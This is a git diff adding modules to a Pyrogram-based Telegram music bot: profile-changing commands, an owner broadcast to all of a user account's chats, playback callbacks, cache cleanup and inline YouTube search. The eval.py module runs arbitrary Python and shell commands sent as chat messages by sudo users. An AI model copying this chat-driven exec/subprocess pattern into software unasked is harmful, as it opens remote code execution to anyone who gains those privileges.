+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from GJ516Music import ASS_MENTION, LOGGER, SUDOERS, app, app2
+
+
+@app.on_message(filters.command(["asspfp", "setpfp"]) & SUDOERS)
+async def set_pfp(_, message: Message):
+ if message.reply_to_message.photo:
+ fuk = await message.reply_text("𝙉𝙤 𝘾𝙝𝙖𝙣𝙜𝙞𝙣𝙜 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘...")
+ img = await message.reply_to_message.download()
+ try:
+ await app2.set_profile_photo(photo=img)
+ return await fuk.edit_text(
+ f"» {ASS_MENTION} 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.."
+ )
+ except:
+ return await fuk.edit_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝘾𝙝𝙖𝙣𝙜𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.")
+ else:
+ await message.reply_text(
+ "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝘼 𝙋𝙝𝙤𝙩𝙤 𝙁𝙤𝙧 𝘾𝙝𝙖𝙣𝙜𝙞𝙣𝙜 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.."
+ )
+
+
+@app.on_message(filters.command(["delpfp", "delasspfp"]) & SUDOERS)
+async def set_pfp(_, message: Message):
+ try:
+ pfp = [p async for p in app2.get_chat_photos("me")]
+ await app2.delete_profile_photos(pfp[0].file_id)
+ return await message.reply_text( "𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝘿𝙚𝙡𝙚𝙩𝙚𝙙 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘." )
+ except Exception as ex:
+ LOGGER.error(ex)
+ await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘿𝙚𝙡𝙚𝙩𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.")
+
+
+@app.on_message(filters.command(["assbio", "setbio"]) & SUDOERS)
+async def set_bio(_, message: Message):
+ msg = message.reply_to_message
+ if msg:
+ if msg.text:
+ newbio = msg.text
+ await app2.update_profile(bio=newbio)
+ return await message.reply_text(
+ f"» {ASS_MENTION} 𝘽𝙞𝙤 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮."
+ )
+ elif len(message.command) != 1:
+ newbio = message.text.split(None, 1)[1]
+ await app2.update_profile(bio=newbio)
+ return await message.reply_text(f"» {ASS_MENTION} 𝘽𝙞𝙤 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.")
+ else:
+ return await message.reply_text(
+ "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝘼 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙩 𝙄𝙩 𝘼𝙨 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝘽𝙞𝙤."
+ )
+
+
+@app.on_message(filters.command(["assname", "setname"]) & SUDOERS)
+async def set_name(_, message: Message):
+ msg = message.reply_to_message
+ if msg:
+ if msg.text:
+ name = msg.text
+ await app2.update_profile(first_name=name)
+ return await message.reply_text(
+ f"» {ASS_MENTION} 𝙉𝙖𝙢𝙚 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮."
+ )
+ elif len(message.command) != 1:
+ name = message.text.split(None, 1)[1]
+ await app2.update_profile(first_name=name, last_name="")
+ return await message.reply_text(f"» {ASS_MENTION} 𝙉𝙖𝙢𝙚 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.")
+ else:
+ return await message.reply_text(
+ "𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙤𝙧 𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙩 𝙄𝙩 𝘼𝙨 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙉𝙚𝙬 𝙉𝙖𝙢𝙚"
+ )
diff --git a/GJ516Music/Modules/broadcast.py b/GJ516Music/Modules/broadcast.py
new file mode 100644
index 0000000..0690c9a
--- /dev/null
+++ b/GJ516Music/Modules/broadcast.py
@@ -0,0 +1,65 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+
+from pyrogram import filters
+from pyrogram.errors import FloodWait
+from pyrogram.types import Message
+
+from config import OWNER_ID
+from GJ516Music import app, app2
+
+
+@app.on_message(filters.command("broadcast") & filters.user(OWNER_ID))
+async def broadcast(_, message: Message):
+ brep = await message.reply_text("𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩....")
+ if message.reply_to_message:
+ x = message.reply_to_message.id
+ y = message.chat.id
+ else:
+ if len(message.command) < 2:
+ return await message.reply_text(
+ "**ᴇxᴀᴍᴘʟᴇ:**\n\n/broadcast [𝙈𝙖𝙨𝙨𝙖𝙜𝙚] 𝙤𝙧 [𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚]"
+ )
+ query = message.text.split(None, 1)[1]
+ sent = 0
+ chats = []
+ async for dialog in app2.get_dialogs():
+ chats.append(int(dialog.chat.id))
+ for i in chats:
+ try:
+ await app2.forward_messages(
+ i, y, x
+ ) if message.reply_to_message else await app2.send_message(i, text=query)
+ sent += 1
+ except FloodWait as e:
+ flood_time = int(e.value)
+ if flood_time > 200:
+ continue
+ await asyncio.sleep(flood_time)
+ except Exception:
+ continue
+ try:
+ await brep.edit_text(f"**𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙄𝙣 {sent} 𝘾𝙝𝙖𝙩 𖤘.** ")
+ except:
+ await message.reply_text(f"**𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙄𝙣 {sent} 𝘾𝙝𝙖𝙩 𖤘 .** ")
diff --git a/GJ516Music/Modules/callback.py b/GJ516Music/Modules/callback.py
new file mode 100644
index 0000000..556cbf1
--- /dev/null
+++ b/GJ516Music/Modules/callback.py
@@ -0,0 +1,253 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import CallbackQuery, InlineKeyboardMarkup
+from pytgcalls.types import AudioPiped, HighQualityAudio
+
+from GJ516Music import (
+ ASS_ID,
+ ASS_NAME,
+ BOT_ID,
+ BOT_MENTION,
+ BOT_USERNAME,
+ LOGGER,
+ app,
+ GJ516db,
+ pytgcalls,
+)
+from GJ516Music.Helpers import (
+ _clear_,
+ admin_check_cb,
+ gen_thumb,
+ is_streaming,
+ stream_off,
+ stream_on,
+)
+from GJ516Music.Helpers.dossier import *
+from GJ516Music.Helpers.inline import (
+ buttons,
+ close_key,
+ help_back,
+ helpmenu,
+ pm_buttons,
+)
+
+
+@app.on_callback_query(filters.regex("forceclose"))
+async def close_(_, CallbackQuery):
+ callback_data = CallbackQuery.data.strip()
+ callback_request = callback_data.split(None, 1)[1]
+ query, user_id = callback_request.split("|")
+ if CallbackQuery.from_user.id != int(user_id):
+ try:
+ return await CallbackQuery.answer(
+ "𝙄𝙩'𝙡𝙡 𝙗𝙚 𝘽𝙚𝙩𝙩𝙚𝙧 𝙞𝙛 𝙔𝙤𝙪 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙮𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨.", show_alert=True
+ )
+ except:
+ return
+ await CallbackQuery.message.delete()
+ try:
+ await CallbackQuery.answer()
+ except:
+ return
+
+
+@app.on_callback_query(filters.regex("close"))
+async def forceclose_command(_, CallbackQuery):
+ try:
+ await CallbackQuery.message.delete()
+ except:
+ return
+ try:
+ await CallbackQuery.answer()
+ except:
+ pass
+
+
+@app.on_callback_query(filters.regex(pattern=r"^(resume_cb|pause_cb|skip_cb|end_cb)$"))
+@admin_check_cb
+async def admin_cbs(_, query: CallbackQuery):
+ try:
+ await query.answer()
+ except:
+ pass
+
+ data = query.matches[0].group(1)
+
+ if data == "resume_cb":
+ if await is_streaming(query.message.chat.id):
+ return await query.answer(
+ "𝘿𝙞𝙙 𝙮𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙋𝙖𝙪𝙨𝙚𝙙 𝙩𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?", show_alert=True
+ )
+ await stream_on(query.message.chat.id)
+ await pytgcalls.resume_stream(query.message.chat.id)
+ await query.message.reply_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙍𝙚𝙨𝙪𝙢𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} ",
+ reply_markup=close_key,
+ )
+
+ elif data == "pause_cb":
+ if not await is_streaming(query.message.chat.id):
+ return await query.answer(
+ "𝘿𝙞𝙙 𝙮𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙍𝙚𝙨𝙪𝙢𝙚𝙙 𝙩𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?", show_alert=True
+ )
+ await stream_off(query.message.chat.id)
+ await pytgcalls.pause_stream(query.message.chat.id)
+ await query.message.reply_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙋𝙖𝙪𝙨𝙚𝙙 \n│ \n└𝘽𝙮 : {query.from_user.mention} ",
+ reply_markup=close_key,
+ )
+
+ elif data == "end_cb":
+ try:
+ await _clear_(query.message.chat.id)
+ await pytgcalls.leave_group_call(query.message.chat.id)
+ except:
+ pass
+ await query.message.reply_text(
+ text=f"➻ 𝙎𝙩𝙧𝙚𝙖𝙢 𝙀𝙣𝙙𝙚𝙙/𝙎𝙩𝙤𝙥𝙥𝙚𝙙 \n│ \n└𝘽𝙮 : {query.from_user.mention} ",
+ reply_markup=close_key,
+ )
+ await query.message.delete()
+
+ elif data == "skip_cb":
+ get = GJ516db.get(query.message.chat.id)
+ if not get:
+ try:
+ await _clear_(query.message.chat.id)
+ await pytgcalls.leave_group_call(query.message.chat.id)
+ await query.message.reply_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} \n\n**𝙉𝙤 𝙈𝙤𝙧𝙚 𝙌𝙪𝙚𝙪𝙚𝙙 𝙏𝙧𝙖𝙘𝙠𝙨 𝙞𝙣** {query.message.chat.title}, **𝙡𝙚𝙖𝙫𝙞𝙣𝙜 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩.**",
+ reply_markup=close_key,
+ )
+ return await query.message.delete()
+ except:
+ return
+ else:
+ title = get[0]["title"]
+ duration = get[0]["duration"]
+ videoid = get[0]["videoid"]
+ file_path = get[0]["file_path"]
+ req_by = get[0]["req"]
+ user_id = get[0]["user_id"]
+ get.pop(0)
+
+ stream = AudioPiped(file_path, audio_parameters=HighQualityAudio())
+ try:
+ await pytgcalls.change_stream(
+ query.message.chat.id,
+ stream,
+ )
+ except Exception as ex:
+ LOGGER.error(ex)
+ await _clear_(query.message.chat.id)
+ return await pytgcalls.leave_group_call(query.message.chat.id)
+
+ img = await gen_thumb(videoid, user_id)
+ await query.edit_message_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} ",
+ reply_markup=close_key,
+ )
+ return await query.message.reply_photo(
+ photo=img,
+ caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n‣ **💡𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n ***👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮 :** {req_by}",
+ reply_markup=buttons,
+ )
+
+
+@app.on_callback_query(filters.regex("unban_ass"))
+async def unban_ass(_, CallbackQuery):
+ callback_data = CallbackQuery.data.strip()
+ callback_request = callback_data.split(None, 1)[1]
+ chat_id, user_id = callback_request.split("|")
+ umm = (await app.get_chat_member(int(chat_id), BOT_ID)).privileges
+ if umm.can_restrict_members:
+ try:
+ await app.unban_chat_member(int(chat_id), ASS_ID)
+ except:
+ return await CallbackQuery.answer(
+ "𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙐𝙣𝙗𝙖𝙣 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩.",
+ show_alert=True,
+ )
+ return await CallbackQuery.edit_message_text(
+ f" {ASS_NAME} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙐𝙣𝙗𝙖𝙣𝙣𝙚𝙙 𝘽𝙮 {CallbackQuery.from_user.mention}.\n\nᴛʀʏ ᴘʟᴀʏɪɴɢ ɴᴏᴡ..."
+ )
+ else:
+ return await CallbackQuery.answer(
+ "𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙐𝙣𝙗𝙖𝙣 𝙐𝙨𝙚𝙧𝙨 𝙄𝙣 𝙏𝙝𝙞𝙨 𝘾𝙝𝙖𝙩.",
+ show_alert=True,
+ )
+
+
+@app.on_callback_query(filters.regex("GJ516_help"))
+async def help_menu(_, query: CallbackQuery):
+ try:
+ await query.answer()
+ except:
+ pass
+
+ try:
+ await query.edit_message_text(
+ text=f" 𝙃𝙚𝙮 {query.from_user.first_name},\n\n 𝙋𝙡𝙚𝙖𝙨𝙚 𝘾𝙡𝙞𝙘𝙠 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙪𝙩𝙩𝙤𝙣 𝘽𝙚𝙡𝙤𝙬 𝙁𝙤𝙧 𝙒𝙝𝙞𝙘𝙝 𝙔𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝙂𝙚𝙩 𝙃𝙚𝙡𝙥.",
+ reply_markup=InlineKeyboardMarkup(helpmenu),
+ )
+ except Exception as e:
+ LOGGER.error(e)
+ return
+
+
+@app.on_callback_query(filters.regex("GJ516_cb"))
+async def open_hmenu(_, query: CallbackQuery):
+ callback_data = query.data.strip()
+ cb = callback_data.split(None, 1)[1]
+ keyboard = InlineKeyboardMarkup(help_back)
+
+ try:
+ await query.answer()
+ except:
+ pass
+
+ if cb == "help":
+ await query.edit_message_text(HELP_TEXT, reply_markup=keyboard)
+ elif cb == "sudo":
+ await query.edit_message_text(HELP_SUDO, reply_markup=keyboard)
+ elif cb == "owner":
+ await query.edit_message_text(HELP_DEV, reply_markup=keyboard)
+
+
+@app.on_callback_query(filters.regex("GJ516_home"))
+async def home_GJ516(_, query: CallbackQuery):
+ try:
+ await query.answer()
+ except:
+ pass
+ try:
+ await query.edit_message_text(
+ text=PM_START_TEXT.format(
+ query.from_user.first_name,
+ BOT_MENTION,
+ ),
+ reply_markup=InlineKeyboardMarkup(pm_buttons),
+ )
+ except:
+ pass
diff --git a/GJ516Music/Modules/cleaner.py b/GJ516Music/Modules/cleaner.py
new file mode 100644
index 0000000..194aec7
--- /dev/null
+++ b/GJ516Music/Modules/cleaner.py
@@ -0,0 +1,49 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from config import OWNER_ID
+from GJ516Music import app
+
+
+@app.on_message(filters.command(["clearcache", "rmdownloads"]) & filters.user(OWNER_ID))
+async def clear_misc(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ downloads = os.path.realpath("downloads")
+ down_dir = os.listdir(downloads)
+ pth = os.path.realpath(".")
+ os_dir = os.listdir(pth)
+
+ if down_dir:
+ for file in down_dir:
+ os.remove(os.path.join(downloads, file))
+ if os_dir:
+ for lel in os.listdir(pth):
+ os.system("rm -rf *.webm *.jpg *.png")
+ await message.reply_text("𝘼𝙡𝙡 𝙏𝙚𝙢𝙥 𝘿𝙞𝙧𝙚𝙘𝙩𝙤𝙧𝙞𝙚𝙨 𝙘𝙡𝙚𝙖𝙣𝙚𝙙.")
diff --git a/GJ516Music/Modules/eval.py b/GJ516Music/Modules/eval.py
new file mode 100644
index 0000000..8f91d98
--- /dev/null
+++ b/GJ516Music/Modules/eval.py
@@ -0,0 +1,195 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+import re
+import subprocess
+import sys
+import traceback
+from inspect import getfullargspec
+from io import StringIO
+from time import time
+
+from pyrogram import filters
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+
+from GJ516Music import LOGGER, SUDOERS, app
+
+
+async def aexec(code, client, message):
+ exec(
+ "async def __aexec(client, message): "
+ + "".join(f"\n {a}" for a in code.split("\n"))
+ )
+ return await locals()["__aexec"](client, message)
+
+
+async def edit_or_reply(msg: Message, **kwargs):
+ func = msg.edit_text if msg.from_user.is_self else msg.reply
+ spec = getfullargspec(func.__wrapped__).args
+ await func(**{k: v for k, v in kwargs.items() if k in spec})
+
+
+@app.on_edited_message(filters.command("eval") & SUDOERS & ~filters.forwarded)
+@app.on_message(filters.command("eval") & SUDOERS & ~filters.forwarded)
+async def executor(client, message):
+ if len(message.command) < 2:
+ return await edit_or_reply(message, text="**𝙒𝙝𝙖𝙩 𝙮𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝙀𝙭𝙚𝙘𝙪𝙩𝙚?**")
+ try:
+ cmd = message.text.split(" ", maxsplit=1)[1]
+ except IndexError:
+ return await message.delete()
+ t1 = time()
+ old_stderr = sys.stderr
+ old_stdout = sys.stdout
+ redirected_output = sys.stdout = StringIO()
+ redirected_error = sys.stderr = StringIO()
+ stdout, stderr, exc = None, None, None
+ try:
+ await aexec(cmd, client, message)
+ except Exception:
+ exc = traceback.format_exc()
+ stdout = redirected_output.getvalue()
+ stderr = redirected_error.getvalue()
+ sys.stdout = old_stdout
+ sys.stderr = old_stderr
+ evaluation = ""
+ if exc:
+ evaluation = exc
+ elif stderr:
+ evaluation = stderr
+ elif stdout:
+ evaluation = stdout
+ else:
+ evaluation = "Success"
+ final_output = f"**OUTPUT**:\n```{evaluation.strip()}```"
+ if len(final_output) > 4096:
+ filename = "output.txt"
+ with open(filename, "w+", encoding="utf8") as out_file:
+ out_file.write(str(evaluation.strip()))
+ t2 = time()
+ keyboard = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="⏳",
+ callback_data=f"runtime {t2-t1} Seconds",
+ )
+ ]
+ ]
+ )
+ await message.reply_document(
+ document=filename,
+ caption=f"**INPUT:**\n`{cmd[0:980]}`\n\n**OUTPUT:**\n`Attached Document`",
+ quote=False,
+ reply_markup=keyboard,
+ )
+ await message.delete()
+ os.remove(filename)
+ else:
+ t2 = time()
+ keyboard = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="⏳",
+ callback_data=f"runtime {round(t2-t1, 3)} Seconds",
+ ),
+ InlineKeyboardButton(
+ text="🗑",
+ callback_data=f"forceclose abc|{message.from_user.id}",
+ ),
+ ]
+ ]
+ )
+ await edit_or_reply(message, text=final_output, reply_markup=keyboard)
+
+
+@app.on_callback_query(filters.regex(r"runtime"))
+async def runtime_func_cq(_, cq):
+ runtime = cq.data.split(None, 1)[1]
+ await cq.answer(runtime, show_alert=True)
+
+
+@app.on_edited_message(
+ filters.command("sh") & SUDOERS & ~filters.forwarded & ~filters.via_bot
+)
+@app.on_message(filters.command("sh") & SUDOERS & ~filters.forwarded & ~filters.via_bot)
+async def shellrunner(client, message):
+ if len(message.command) < 2:
+ return await edit_or_reply(message, text="**ᴇxᴀᴍᴩʟᴇ :**\n/sh git pull")
+ text = message.text.split(None, 1)[1]
+ if "\n" in text:
+ code = text.split("\n")
+ output = ""
+ for x in code:
+ shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", x)
+ try:
+ process = subprocess.Popen(
+ shell,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ except Exception as err:
+ LOGGER.error(err)
+ await edit_or_reply(message, text=f"**ERROR:**\n```{err}```")
+ output += f"**{code}**\n"
+ output += process.stdout.read()[:-1].decode("utf-8")
+ output += "\n"
+ else:
+ shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", text)
+ for a in range(len(shell)):
+ shell[a] = shell[a].replace('"', "")
+ try:
+ process = subprocess.Popen(
+ shell,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ except Exception as err:
+ LOGGER.error(err)
+ exc_type, exc_obj, exc_tb = sys.exc_info()
+ errors = traceback.format_exception(
+ etype=exc_type,
+ value=exc_obj,
+ tb=exc_tb,
+ )
+ return await edit_or_reply(
+ message, text=f"**ERROR:**\n```{''.join(errors)}```"
+ )
+ output = process.stdout.read()[:-1].decode("utf-8")
+ if str(output) == "\n":
+ output = None
+ if output:
+ if len(output) > 4096:
+ with open("output.txt", "w+") as file:
+ file.write(output)
+ await client.send_document(
+ message.chat.id,
+ "output.txt",
+ reply_to_message_id=message.message_id,
+ caption="`Output`",
+ )
+ return os.remove("output.txt")
+ await edit_or_reply(message, text=f"**OUTPUT:**\n```{output}```")
+ else:
+ await edit_or_reply(message, text="**OUTPUT: **\n`No output`")
diff --git a/GJ516Music/Modules/inline.py b/GJ516Music/Modules/inline.py
new file mode 100644
index 0000000..091c5ae
--- /dev/null
+++ b/GJ516Music/Modules/inline.py
@@ -0,0 +1,92 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram.types import (
+ InlineKeyboardButton,
+ InlineKeyboardMarkup,
+ InlineQueryResultPhoto,
+)
+from youtubesearchpython.__future__ import VideosSearch
+
+from GJ516Music import BOT_NAME, app
+
+
+@app.on_inline_query()
+async def inline_query_handler(_, query):
+ text = query.query.strip().lower()
+ answers = []
+ if text.strip() == "":
+ try:
+ await app.answer_inline_query(
+ query.id,
+ results=answers,
+ switch_pm_text="𝙏𝙮𝙥𝙚 𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙏𝙤 𝙎𝙚𝙖𝙧𝙘𝙝𝙞𝙣𝙜 𝙊𝙣 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 ♪",
+ cache_time=10,
+ )
+ except:
+ return
+ else:
+ a = VideosSearch(text, limit=20)
+ result = (await a.next()).get("result")
+ for x in range(15):
+ title = (result[x]["title"]).title()
